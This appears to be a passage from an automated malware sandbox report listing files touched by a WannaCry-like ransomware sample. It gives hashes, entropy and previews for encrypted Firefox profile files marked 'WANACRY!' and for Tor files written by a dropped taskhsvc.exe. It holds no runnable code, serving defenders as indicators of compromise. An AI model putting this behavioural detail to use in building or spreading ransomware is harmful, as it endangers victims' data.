                                      Preview:WANACRY!.....=..\P%5.......t.).m..,.Z......|......IS.l...k..s..bw./....!&M...hU.R..m.G.d..U........}l..x[k..N.F.>..?.~I..T^H....W....*....7q....\c..$.m..3....^BO......../..9...?.p................(....L.K....|m...n....<c..r..J.Rrk...c&..?x...O5....,..,....X..........9c..8.F.sI.B..ej.U..{d.8I.,j....q....&%}-B.(o...I-*..V....=%..-.8Vx.........-..]..i,..bc....Ma.P.:.3>7..3..D.}.?.,"...+.8?.4.!o..Y+4.b.?uh.{.T=...p.....~.9..!.y...N).*...<..k..~...y,.W..gE.v......I..d...n.D.pCrW.W;...l.P...P......./n...I.+..7...W.../...|.....s.._.#{..n.F...RF...S.....w...T...(.ZM$.?..Ki t...~.?0.0*.A....r(5`.6L...4N...X?.]...gr....g>r+.w.F 6..x....h.b.....iC.._.;Y.+sQ..N..&..7.... .g...uN..K8..........*.\.."......0...G:.K.[t..o.0.#J...........Y.L=....5..d.jO.!!.0... ..=.-K.P.H.:e..74.hl..!.^...+.=.....B).d.Esl...?.N..D4.Bp.hTp2........9..p.<..w`9..k...>..I..1..

                                      C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\SiteSecurityServiceState.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):888
                                      Entropy (8bit):7.720295760565944
                                      Encrypted:false
                                      SSDEEP:24:bk1n390oS5dcdmvnjH4xJFb/W1pkz4CNRfKiph5n:bkR390b56dWjHoFb+3STNRfj5n
                                      MD5:5F673995B0B2D423D4EB2785C702EA41
                                      SHA1:E0652874FBAAF083F377AC8DB73DF27CE7E0FA96
                                      SHA-256:439A5196F775DB40CEDF16FCC6B89A920441AFF8110D635473A6C0B0E5F7D53D
                                      SHA-512:EE70FD8F9A6592A90F2AD2CB17A215D078306CDFD05BE3E79436E9949FF49B831F43BFE98EC1D848F094D4184F9570BE399E81E54A92DFD6058C354E308E4C3B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....<.i._......rH.....~].Iu......P.d.(...>X...YT.;.H..go.)k1......_....3|....c.8...4d.Z......I.V..(....I..C..T..w.+......#..8..Q.>x-S.v.X.15}......Pv.L4...R...Y..P...y.[.j...9.u.k.bN..(....A...V...'5..P..=?...`.$-.._.i.X..B..[.....r.c..lD.R;......W........a........`.VT}.,d,.oO$.O(.h..vft..D:.s.,L.......6[{....>....$$........:...V..0M..z.....[fk..]...$...4.u..T.....]../.U...*cx..>....{%.41e.U...a......j...2X.:".....Q.v..M.h$.p.9.%#9..r.lrr.....Wpt$...1.u..r.....qn.......z(....l~E...U..W.v...D..&..|.3.......c.0.d"wcL....[.x...>`..r,.0...Q...=..M.4.c.....v?:..o..+.j...!7.......{.........c.....A..mnz........0B.2.m....9",.2.n.O...dM.|.Q..:~Q_w..**..Ep.Qy.7.i....:....n.GW.w.y~!.....lS..p..D._3B.I..>..LJ._..q;..9N..r._9..........7.W....^...[5.*.n..'....v&R(...+\.JPh*..*..Z.$......c..rg`y.y......z.g.I...c......{.w.........^<Y....

                                      C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cert9.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):229656
                                      Entropy (8bit):7.99924670660368
                                      Encrypted:true
                                      SSDEEP:3072:sI6N+oVLwxMSv8uIdVta4PuKK04WhUOzLX2sa2ZmEy0SWczFs09AXpzXTOyn6:N6EnxcdjAKKtWmOzSspZNrJSs0QpXqz
                                      MD5:90C9F8BF36140178AD6701EA8DB38A7B
                                      SHA1:A8CADEC79B0F0162D26E5B7BF82390F3BFA7E910
                                      SHA-256:7BBA3684F947D0A3468CC13691ACD47AB86C806F45CC2CC39119CAF7E69F5028
                                      SHA-512:7DFB0B1CC5F5FAD5223270EB69F9229C0CC30E30D6471F1F26EFBC7B5F0A55CECF3732D39FD7B5975D2DFA20FAD1DB5DF657E2EA59BC9B49948FDC4E95F519A5
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....c..&...=U{.m..[>#.q.C.!..0......G.U.9.x.@..b..9..$.&...+q.....L....G..O.^DX..So.j..a_..s.<fU....z.kv.g_....s.y.K.8.J.6...X.....\..G.S..)...h.....(:.....?H&.)6+..!.c..L)D.0.z_Z..r.j?.g.s.~7..B....."hD.JM......\':......a+....J]B`.F..X]..F.;P.]7..............K.....D:^.?.....X!h.F..\.`.U.<w.$J......j%.}Y....-..../..A.P%/..M|....HYl67.A..F..ru...h.[.I..@...h..%...tV..6+....kA.a8%....;.Y.zR.q...j...n......D..sl..g...W.#..,..j...4..2.Q.7..!E_..-s;x.20......gX=.Z.82....CW..o.V.f.....<.e)=+}.V....}K.....#2.q2.@=.i...[....B.?....=.Y....M.i_b....'.F#....@A.$E...Z.~o..t...........0}&...\...h..&Z..f.....,.7.}tt......``....U.$=........X.._ F....+..;...4..{.....V...rn...=....?..*^.....[...<.@....d'.n..8...%....3R.~..{=...z...m..`.=..y.zD.C....LBGai..P..[$.!..Nzv.6...n..\4c-.MfY.9.ga..Z.<PJ.U...b>.._>:..x9..{.Zs.h..D ...%....<...i...m.*I0.<. |.{B........Dm................6Q.t:.a~H.....u..K.h..{.O.c.b......P^K|..F..I.u5..Og..Z....J.

                                      C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\gmp-widevinecdm\4.10.2209.1\LICENSE.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):760
                                      Entropy (8bit):7.705485050110961
                                      Encrypted:false
                                      SSDEEP:12:bkEMHyCwbcP8+u29KjM24M9SAaZr765b6x9cYP+pcGbdWVW91XJDzjGvzD3XAKW7:bkjfwwju7+H65b6bcC+imd2W91Rzjcz+
                                      MD5:5CF49AA784BA1A2EFBE1B6B639A635F7
                                      SHA1:61370D16807607F11789677664B14DFB2946D0E3
                                      SHA-256:47FCA04533424C04619069260045B7D34B0FEB3D2D6E97634233AE99C026ACAB
                                      SHA-512:AE96DC13F60A1F32FB96DD4A05133D098B1A143AFCDF3C0469EFEA3195E4A2174C12594CBD8D0A0FD3EC2D48DF880C43ED21F4BE31E65AB29AE54C348B823D10
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....[..w.s~......R&..Ks....Y.'...]....'..d.....u~. \D..<...+.....$..w.......4..r..E|...s.{y..lbk....z.Y..GUv..:0.@....7..HD.r.k..e...4..G..V0....: ...H.C.{Li.m$(....*X....>....].n.fB.&.....#.z..5s.63.i._..q]`....^..y..G|.p..i.f....8...`..C?}.o.............oB..Y.A6....Vr....!.....b2K.Zrz.(.vb|..>..g..K../y........>..I,....i=y(nc"n|..Q.r.'}.M.K.86..Z.S...{`..^.......k.......$.$.."v...)/n|.....4.. /...7.s...o..hMU..M.gW.Ua.W.....h.N.. .-0.L.......ef.Y.sk..]0@...,.Q|ki...#ggQ......G..........j...SO.l..[B.[(....'.[..i...8..G..~..ls..&...j$g...n..#.....w...e.7....|...y..,}....7..}.gN....]...Y..A#.i..4....3....^..)......f....>.p.......l..5...&?m...c.e...u.e1?I:.Z0.............}B.M;M...G..J_....E...5..^..

                                      C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\key4.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):295192
                                      Entropy (8bit):7.999340282706791
                                      Encrypted:true
                                      SSDEEP:6144:8U1JW/YLn2C63PN0ZaIEmTnGSfOauNEOrw2wxvzFACWvXbXjQLJrARdMK:8oWgSnfN0ZvPhfO0d2wxRu7UyTF
                                      MD5:3B5FB8C16E45307E71D1EE680C0F6DF3
                                      SHA1:457F24EFE521FB2A5584BC7615401B5956D59664
                                      SHA-256:31000AA1C0E9EAC558A89C0D7D5DD073328B8249C3DE38883B4E6F83A4BE50BC
                                      SHA-512:A7D26FEB24D23764D5751CEE087A368930793BBD35ACCE4268EF34E56700D789583FDE466BA99E9510C8A2B0DDFA6DA606D21FA5A8405FC08A2E4EB0684690C9
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....q....)7../...w(....IX...d....@..o...t.v.FS[..5...o>.{......$...5.K..$..N..)....a.....K......a../r.}.l..G.?l.y....8X.2c...(........o<:...2..u...3......d`.ER....D..Ih.%BBH7.....-7.+$.i....94..$~..g..l.?..6~.[N..jK...C....w...I..c..p.....KR1................#K..j..7.j.he..Dm....O.2..z-.m..i..*.<T.)....}..n.._.e......._.......X...f.6...1.b...d@u.a.|..'.SW/E...a.._.H$i[.c..t....x1....-.P>.D..J.Po...p...Ql>y........&...x...]...E1vl.!..-.ur-...)..Y.../W...r.Ykq;$..;r..O'.T........YHvU&..ty..U..0....y.c.A~..K..02.-..s...(.M..j[.R.~vr.f.=|.R.2.......=..6.J.<..J..E...+....\..Ze.L.M.k.......o.F.JUe..%k.U......SI%......d:.......w..U......f.....2`$S=*._.dN3.SI0.(..VFpj8.;ge..&!Be..hw.=_..0..A.h.q..e)$...I....w.f......L..Z.......^L.....N.F.D."..V6.uCK...f2.Y..@.zf+...d.i...qf`..Ng$..l....7Vcw.....a....Y.q.M..D.R%R_k.z...$j..].a..%c..Nk.z.M..u..N..X;*... .......}h|2...[05.Ra...0"....g.2.B..!Q..i..u.x.F.}|...(D6Ao..em..-\.Z.j............N...'.|.....

                                      C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\pkcs11.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):792
                                      Entropy (8bit):7.722213860330489
                                      Encrypted:false
                                      SSDEEP:24:bkwqD9g3N90u+0zIkxhrChBnTWJ+Bj+iqach:bkwEy9Kv0zIkP2BnV8iqach
                                      MD5:0917D8F8C4DF4212FF541D576BF4B266
                                      SHA1:F95C432E16B40FCA49647BCD128B3AFF3B2CD19B
                                      SHA-256:D20ACBDDFD3B23BAE9F7376C44EA8B0C4EF0556A878128DF6B00475589397753
                                      SHA-512:88D9551EBECE91D6BBB127CB33355F5E265DD17394B90AA5EA5FB32DF2E17D47F9F03652B7945D32E89A4B1F37BB6F1C2989253994E813AACA722143F5589E8D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......pz....x.g.B..y..&..Fe.i.z;.BH.I.J.6.x...M.......}.m.n=.U.0.s.......l.^..... nr...H....F"..)..c.f.A..$...b....go.QA.B.......k............^...U.5[{.J..u.|......L.p.qy...J..."?.O..X...ttw.!|\....A.......6.\u.+.la...R.3z..,..O..$...N.y.....d.<..p..................O`.8%.&.N.:.....7O.a..X....9.p.Z.J/m.&w.....n.nA.we.K..6.L8....Y...'..K<.....<.....4..b..."v..K......z...|.J~.Y.....H./...A0.+..9vo.z.q...f}u....#..Z2...m.$J..{g@(.G.."..0..Mg......8.h..J[..t:......Vu.......I.x..Bja..@.<a..O.......B.=?...g..Z8io..SxO>Z2h..8..q.d.G{.T.Nl.N..Ji...^$.....,./..yT.m.=ZM..^...JF...>G?....Q...7\..,K..U...x:.|....c...B.. S.P..P.,...Z.z._..."q].D..L$C.B.....R\ ..)_..g..no..?.6.......K....3v."..2..?..yE3tVMJ.Y...^..#.3..i..4.x&i..[..B/FHK.h.....

                                      C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\prefs.js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):12216
                                      Entropy (8bit):7.983059538205758
                                      Encrypted:false
                                      SSDEEP:192:KWDy5xbvBh38hK5W8ty/Qs8AoKv9LIUzzB2lS4Vu8mjj0PflOTslGKhzoVXnxhxx:KWDMxbD38hGfy/Q/AoeIUz9axmjoPOuM
                                      MD5:B24DF80764A711A3C2204E8D213EEAA7
                                      SHA1:FAC6C6D39D3389E777085ADD28E7E221224AD5CE
                                      SHA-256:A6AE6886394B503B397209E48B456362CA2C2483683BF9BA8074E4295600E603
                                      SHA-512:071896AE409FC535E54A1097C3C9413E0F58ED14C600694EB9D2F5C62FC2A6969AC8D567916835D15335AD2B33AB39E44754FAAB5E07DA7D52B21C050BA89DAB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....F$_....N..4{kbdF....r....%3=..n..!..#.........=k.".H..Z..w.A.+.s/... .?^>2Ph.,.S9...p.BR.'.).... ......^..R^8..27.....>..u..71~...v`.T....vw+B.b....D......`y....|...{..Q....{...m.3.rVb.P.2....|e{.&1,&..0.-In..u{..HJ......]..^P..>=...M$nt.O.............q..2h:xn..+.;....B..#~q....P.T9F.*/.@Kn<..kU....&.Z....`..e.....X...em.<...>.hj.Q6...>_;....H.p.....[|.E....,.Hu>.2..I....,.Y|....>e....3...y.."...NX.......~!....%....Lc.5h..1........l......a........d.z..C..th...!.~..=.~.F..../......].o..S.M+.Y..f+...3..'.M....|.....l..rG....>.|......^.5Ug..G.......:...e..`y~.!..+%.....e...v.>-o.......Y..P1.0#.[[...a....4.3.F.\.....D._e.-..[(+..l.SX-.p....F..L#p*.*.[..u.M....a..Sc...'..Y.....-fnv...0..F..f..+.@.P..e.|Ku....W.`..Zsn..i!mO>#z.y...P.'.......=j.QM.a...ek.+..B|].7a..XCB.R.%....?....YSR....V.}.....?D..X{.[.p.6.^.v.... .6...a2o.H.)?.3..l2...l...,G.-.Ag.:..5..C3..*...z.#..x........."..Tc`_.;.....?y...p.F.!....i...y.X.+.\....

                                      C:\Users\user\AppData\Roaming\tor\cached-certs (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):18574
                                      Entropy (8bit):6.052509504403843
                                      Encrypted:false
                                      SSDEEP:384:rh4YVc1h19MY4JVtG1hIcCyzd4ReWVVNX1hPb50IU4mV91h5/ea4igBVA1hrqWdi:lxyhBELGf/5Ie+PXjb+3jnt2a9gBSyGi
                                      MD5:BB1498040C4D592A698665ECB5552FC4
                                      SHA1:E576260E83F917B11A5D28D8FFC57413AD20692A
                                      SHA-256:CB1F88242133D0F0A521904FA8A1FAD457A8114F2DF618CFA882A2AE4513FF6F
                                      SHA-512:12799A46C71E41FCD634959C06DB5F5C7182DD191D58C5D28A5435B4956B41CFE785B2DFBEDE86197DB7D37258F374924E892A672DA29E2840583E9B6E18AB9D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:dir-key-certificate-version 3..fingerprint E8A9C45EDE6D711294FADF8E7951F4DE6CA56B58..dir-key-published 2023-04-25 08:58:01..dir-key-expires 2024-10-25 08:58:01..dir-identity-key..-----BEGIN RSA PUBLIC KEY-----..MIIBigKCAYEAu/DOrbv/4IAYvyxsy/6ivC3q5yCQBWLKHZGYKQa5G/3rem8wen0f..qF7y4ye6U6faWc5kcNMHEKMIeBzMErxwF345qoGHITxbbOWnizgwPgrdCwlK3p0H..1XZGU/TTjoaM25P+ZNCBvGmDQRAtgs2odnv+i8hpu6vrcAUZYXmmw/Ag1Ou2AlLC..mPpbjV1O5SMylgC4IuCBPr3iA+M1kKkvj4LmwU6pJxjAae76GLzzQ/Ffvi7rRpvU..2BHetjehk+7/t8izgbhT4VABtzKgrv9ATnhfEgPeT/WBq0E75iciBBAXRPF5kEA4..k++NPy21XpL7jkQ4wnMs2HyiFhHbUwbLcoyQ/JVq/WBboSwStYbkdizRpkhJ1eNg..LiD8CPWcZnhWZi9VWrwT0xl+Mu4v6kwo9kVnXhOfcK8Wni9FqiBu2tmNDoGPG1Ac..wptYQSIoujuLgn4MARREwo9cWrKp2w+D7Dt4U7U5OrXL7TXjonEKuEHwRhzz1JA8..7LXm/wENwn1/AgMBAAE=..-----END RSA PUBLIC KEY-----..dir-signing-key..-----BEGIN RSA PUBLIC KEY-----..MIIBCgKCAQEAv28sclFL4zONBiZYTd2gE8dHTId7hsjP98H4PcY+IeVPs2hqdCTA..O0SsaOEGL9kGzzhWr7NUujDzHJ6j9xiCj4vePC/78/lN5tihjTD4TNzcrxEI6K08..mE6B5iXyuafojb7d1/3ssZ/qDjyj

                                      C:\Users\user\AppData\Roaming\tor\cached-certs.tmp

                                      Download File
                                      Process:C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):18574
                                      Entropy (8bit):6.052509504403843
                                      Encrypted:false
                                      SSDEEP:384:rh4YVc1h19MY4JVtG1hIcCyzd4ReWVVNX1hPb50IU4mV91h5/ea4igBVA1hrqWdi:lxyhBELGf/5Ie+PXjb+3jnt2a9gBSyGi
                                      MD5:BB1498040C4D592A698665ECB5552FC4
                                      SHA1:E576260E83F917B11A5D28D8FFC57413AD20692A
                                      SHA-256:CB1F88242133D0F0A521904FA8A1FAD457A8114F2DF618CFA882A2AE4513FF6F
                                      SHA-512:12799A46C71E41FCD634959C06DB5F5C7182DD191D58C5D28A5435B4956B41CFE785B2DFBEDE86197DB7D37258F374924E892A672DA29E2840583E9B6E18AB9D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:dir-key-certificate-version 3..fingerprint E8A9C45EDE6D711294FADF8E7951F4DE6CA56B58..dir-key-published 2023-04-25 08:58:01..dir-key-expires 2024-10-25 08:58:01..dir-identity-key..-----BEGIN RSA PUBLIC KEY-----..MIIBigKCAYEAu/DOrbv/4IAYvyxsy/6ivC3q5yCQBWLKHZGYKQa5G/3rem8wen0f..qF7y4ye6U6faWc5kcNMHEKMIeBzMErxwF345qoGHITxbbOWnizgwPgrdCwlK3p0H..1XZGU/TTjoaM25P+ZNCBvGmDQRAtgs2odnv+i8hpu6vrcAUZYXmmw/Ag1Ou2AlLC..mPpbjV1O5SMylgC4IuCBPr3iA+M1kKkvj4LmwU6pJxjAae76GLzzQ/Ffvi7rRpvU..2BHetjehk+7/t8izgbhT4VABtzKgrv9ATnhfEgPeT/WBq0E75iciBBAXRPF5kEA4..k++NPy21XpL7jkQ4wnMs2HyiFhHbUwbLcoyQ/JVq/WBboSwStYbkdizRpkhJ1eNg..LiD8CPWcZnhWZi9VWrwT0xl+Mu4v6kwo9kVnXhOfcK8Wni9FqiBu2tmNDoGPG1Ac..wptYQSIoujuLgn4MARREwo9cWrKp2w+D7Dt4U7U5OrXL7TXjonEKuEHwRhzz1JA8..7LXm/wENwn1/AgMBAAE=..-----END RSA PUBLIC KEY-----..dir-signing-key..-----BEGIN RSA PUBLIC KEY-----..MIIBCgKCAQEAv28sclFL4zONBiZYTd2gE8dHTId7hsjP98H4PcY+IeVPs2hqdCTA..O0SsaOEGL9kGzzhWr7NUujDzHJ6j9xiCj4vePC/78/lN5tihjTD4TNzcrxEI6K08..mE6B5iXyuafojb7d1/3ssZ/qDjyj

                                      C:\Users\user\AppData\Roaming\tor\cached-microdesc-consensus (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe
                                      File Type:ASCII text, with very long lines (1006), with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):2758587
                                      Entropy (8bit):5.637542259710891
                                      Encrypted:false
                                      SSDEEP:12288:Tz8thXUIrDP++n1eHvekvFXIIbu2deIcjJJTz3uXN78vDXT+GzMnFor7EwvdI5ws:TzKwHvekS3bsNApP7EuI+Ek/S
                                      MD5:A5A3016ECE1338AFABBDED2CF1443E13
                                      SHA1:73287D830466C499E89735C8DA373E6CBF7152F0
                                      SHA-256:46BFE723504CE63688E5D910A6721BB4CB5306F45ED47DA3D5EB97BBE5601328
                                      SHA-512:0AED36236CFF7DB51B5857A67981925F134B3797BA12A31ED15D5E92CEE43D677AEECD5BB358C7C0314B18FFE80E838D9985533C21C21030B363F7FE261931A8
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:network-status-version 3 microdesc..vote-status consensus..consensus-method 33..valid-after 2024-07-25 22:00:00..fresh-until 2024-07-25 23:00:00..valid-until 2024-07-26 01:00:00..voting-delay 300 300..client-versions 0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10,0.4.8.11,0.4.8.12..server-versions 0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10,0.4.8.11,0.4.8.12..known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid..recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2..recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2..required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2..required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2

                                      C:\Users\user\AppData\Roaming\tor\cached-microdesc-consensus.tmp

                                      Download File
                                      Process:C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe
                                      File Type:ASCII text, with very long lines (1006), with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):2758587
                                      Entropy (8bit):5.637542259710891
                                      Encrypted:false
                                      SSDEEP:12288:Tz8thXUIrDP++n1eHvekvFXIIbu2deIcjJJTz3uXN78vDXT+GzMnFor7EwvdI5ws:TzKwHvekS3bsNApP7EuI+Ek/S
                                      MD5:A5A3016ECE1338AFABBDED2CF1443E13
                                      SHA1:73287D830466C499E89735C8DA373E6CBF7152F0
                                      SHA-256:46BFE723504CE63688E5D910A6721BB4CB5306F45ED47DA3D5EB97BBE5601328
                                      SHA-512:0AED36236CFF7DB51B5857A67981925F134B3797BA12A31ED15D5E92CEE43D677AEECD5BB358C7C0314B18FFE80E838D9985533C21C21030B363F7FE261931A8
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:network-status-version 3 microdesc..vote-status consensus..consensus-method 33..valid-after 2024-07-25 22:00:00..fresh-until 2024-07-25 23:00:00..valid-until 2024-07-26 01:00:00..voting-delay 300 300..client-versions 0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10,0.4.8.11,0.4.8.12..server-versions 0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10,0.4.8.11,0.4.8.12..known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid..recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2..recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2..required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2..required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2

                                      C:\Users\user\AppData\Roaming\tor\cached-microdescs.new

                                      Download File
                                      Process:C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe
                                      File Type:ASCII text, with very long lines (16050)
                                      Category:modified
                                      Size (bytes):19607332
                                      Entropy (8bit):4.843441846135765
                                      Encrypted:false
                                      SSDEEP:24576:u4xcYU5NL2Tu9QF5rcPQVDgTzKD72cwoifQvpdbxXM6cuFhkLPsQaww3K1CnS9mO:mSV7/WBanu1l9sA6QjVlbJEin
                                      MD5:FE45A8B7FE452220ADA4DE35DA4C817D
                                      SHA1:0DA55B9973D992DFFF1B68687FC2AD40EB9948FF
                                      SHA-256:95CF726C62BE26E9303EC61CC141A215CA14945E05E9CB95588163E1349673DF
                                      SHA-512:5A4E30AC6FA60B980F543543A74F0B6BED96771B8F0F7AB2D523EB3BAD965ED129A704D1F5066C0ABCB31B7C63A138F3782466750889159A6080366F28D4CB6E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:@last-listed 2024-07-25 22:22:45.onion-key.-----BEGIN RSA PUBLIC KEY-----.MIGJAoGBAK3mXMuxep9qK624J5V3cC/fDhqmKMMf99Ltm+07qJN0J8raoUDc2EQi.bwhUlrE4WDnrODRsR1NHAcvplS5LR5ooZdgiO9AqBcJyyloGDYzW5+YZ/S/50Pfy.jh0U0ZVy5PPk/31XcCP8xyKcgZ9O38kKdh+4co/aIJ+rUJfZRx/NAgMBAAE=.-----END RSA PUBLIC KEY-----.ntor-onion-key dir7GjsCzRjGFnLR9QpGSahaU5AmWxIv9IV6fRiJ5Qk.family $004F9A0513C84E72054CEB555DB51EEEF319546D $0055DB090820D7C08999EC1598FD6EA6365861AD $008F10F88397C11C062217EAC35D782F03BDF4C7 $009EF5F8572D671AFCBBAD65998BA35B50EE04BC $00BD33C25A006BA95103D3E8043FA7EF1E2BCA6C $00FB85B65AC2F460CD46A3B6E5639821E3F52048 $03000EDDFEB7DB6A4171D09D2DF028ADA6B27DEE $0403BD88235C49F4C0672F213912FCB3A2B93DCC $04D50494BD2E4B3913489062303442BC9D5CC0C7 $0620C528138F289BBE25BF78EE25794B265D8143 $0625BCA64F30EC2E1AC1C5021E651074257C2908 $06A0482D3DED57CE8E0131531B3DB44A8AEF683C $077C4A89A06F9560CED75BEF751BA2334378C3A3 $07C76EC5CC5CFDA80DE3082BC2F007105E2FC2EE $099B9AE1A6598017462F5C0EBD78B15FCAC27D56 $09E5621C0

                                      C:\Users\user\AppData\Roaming\tor\state (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):378
                                      Entropy (8bit):5.21220689376677
                                      Encrypted:false
                                      SSDEEP:6:SbdWwxXfSqonXr87+QVe2vwR/Enfw04zdDoNUasT0RzdDoN0UrXWWURbibfl8Vte:bwxXf5oXr87HVBvwNWw1mNUN01mN0+PT
                                      MD5:BCDF65391F832CD5F9D40CCA18B9F7C0
                                      SHA1:6C5DB5A304D20D10ACBB34F652BB81BC3A203BC6
                                      SHA-256:9B47105F900201A85D4D6658D97AEAB5AC0DE1BE3400A6E9D94258CBC8D01624
                                      SHA-512:4DF0D7988068607F4A1EEFE78D3367DA79DE7F836D2DE67237D3A904447890BB8255561F5377055DD532B6AAAD26CE357BAAF3C7844FCA21B3E4D1411E17638A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:# Tor state file last generated on 2024-07-25 18:23:10 local time..# Other times below are in UTC..# You *do not* need to edit this file.....EntryGuard keep CBD420106E46C1EECDB5A02B4CE12CFF1A38B9EB DirCache..EntryGuardAddedBy CBD420106E46C1EECDB5A02B4CE12CFF1A38B9EB 0.2.9.10 2024-06-25 22:34:55..TorVersion Tor 0.2.9.10 (git-1f6c8eda0073f464)..LastWritten 2024-07-25 22:23:10..

                                      C:\Users\user\AppData\Roaming\tor\state.tmp

                                      Download File
                                      Process:C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):378
                                      Entropy (8bit):5.21220689376677
                                      Encrypted:false
                                      SSDEEP:6:SbdWwxXfSqonXr87+QVe2vwR/Enfw04zdDoNUasT0RzdDoN0UrXWWURbibfl8Vte:bwxXf5oXr87HVBvwNWw1mNUN01mN0+PT
                                      MD5:BCDF65391F832CD5F9D40CCA18B9F7C0
                                      SHA1:6C5DB5A304D20D10ACBB34F652BB81BC3A203BC6
                                      SHA-256:9B47105F900201A85D4D6658D97AEAB5AC0DE1BE3400A6E9D94258CBC8D01624
                                      SHA-512:4DF0D7988068607F4A1EEFE78D3367DA79DE7F836D2DE67237D3A904447890BB8255561F5377055DD532B6AAAD26CE357BAAF3C7844FCA21B3E4D1411E17638A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:# Tor state file last generated on 2024-07-25 18:23:10 local time..# Other times below are in UTC..# You *do not* need to edit this file.....EntryGuard keep CBD420106E46C1EECDB5A02B4CE12CFF1A38B9EB DirCache..EntryGuardAddedBy CBD420106E46C1EECDB5A02B4CE12CFF1A38B9EB 0.2.9.10 2024-06-25 22:34:55..TorVersion Tor 0.2.9.10 (git-1f6c8eda0073f464)..LastWritten 2024-07-25 22:23:10..

                                      C:\Users\user\AppData\Roaming\tor\unverified-microdesc-consensus (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe
                                      File Type:ASCII text, with very long lines (1006), with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):2758587
                                      Entropy (8bit):5.637542259710891
                                      Encrypted:false
                                      SSDEEP:12288:Tz8thXUIrDP++n1eHvekvFXIIbu2deIcjJJTz3uXN78vDXT+GzMnFor7EwvdI5ws:TzKwHvekS3bsNApP7EuI+Ek/S
